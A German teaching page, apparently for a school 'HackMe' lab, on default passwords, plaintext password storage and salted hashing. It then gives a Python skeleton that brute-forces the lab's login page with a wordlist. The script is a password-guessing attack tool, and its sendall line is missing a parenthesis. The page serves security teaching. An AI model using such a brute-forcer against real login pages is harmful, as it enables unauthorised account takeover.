So praktisch Standardpasswörter bei der Inbetriebnahme auch sind, diese müssen unbedingt geändert werden. Insbesondere für den Benutzer admin.

Mehr zu Standardpasswörtern: https://www.computerweekly.com/de/definition/Standardpasswort-Default-password

Passwörter im Klartext speichern geht gar nicht. Und dazu diese noch öffentlich zugänglich rumliegen lassen ist ganz schlecht. Und die URL im Browser darf natürlich angepasst werden…

Anstatt die Passwörter sollten Prüfsummen (sogenannte Hashes) gespeichert werden. Aber nicht nur einfach den Hash davon, sondern der muss mindestens noch gesalzen werden, d.h. das Passwort muss erst noch mit einer zufälligen Zeichenkette “gesalzen”, d.h. verlängert werden. Der entstehende Hash und das “Salz” werden dann gespeichert. Damit ist die direkte Entschlüsselung über Tabellen nicht möglich.

Wenn man (sehr optimistisch) davon ausgeht, dass nur 10% der Leute unsichere Passwörter haben, könnte man durch Probieren ziemlich schnell einige Passwörter in einer Organisation “knacken”.

Um einen solchen Angriff auf die HackMe-Seite zu fahren, ist man auf ein Programm angewiesen, das alle Passwörter durchprobiert. Im folgenden finden Sie ein Programm-Skelett, das die wichtigsten Funktionen bereits enthält. Dazu brauchen Sie die Passwort-Datei zu entpacken und im gleichen Ordner wie das folgende Programm zu speichern:

import socket 
import ssl
import urllib.parse
 
# Dowload einer url (ohne https://tech-lab.ch)
# z.B. /hackme/c4.php?user=hans&pass=muster
def download(url):
    host = "tech-lab.ch"
    port = 443
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host , port))
    s = ssl.wrap_socket(s)
    request = "GET " + url + " HTTP/1.1\r\nHost: " + host + "\r\n\r\n"
    s.sendall(bytes(request, "utf8")
    reply = s.recv(4096)
    s.close()
    return str(reply)
 
 
# Passwoerter einlesen
file1 = open('john.txt', 'r') 
pws = map(lambda x : urllib.parse.quote(x.rstrip()), file1.readlines())
file1.close()
 
 
# Passwoerter alle durchgehen
for pw in pws:
    # Die URL ist zu vervollstaendigen (aus einem login-Versuch kopieren)
    url = "/hackme/c4.php..... " + pw + "....."    
 
    print(url)
    # Den HTML-Code vom login-Versuch herunterladen
    reply = download(url)
 
    # HTML-Code analysieren:
    if not ("Passwort falsch" in reply):
        print("Hooray! "+pw)
        exit()
    else:
        print("nope "+pw);
    exit()  # Nur ein Versuch, bis alles richtig läuft... dann diese Zeile loeschen

• Office-Macros: https://www.youtube.com/watch?v=2tVE79T09Zg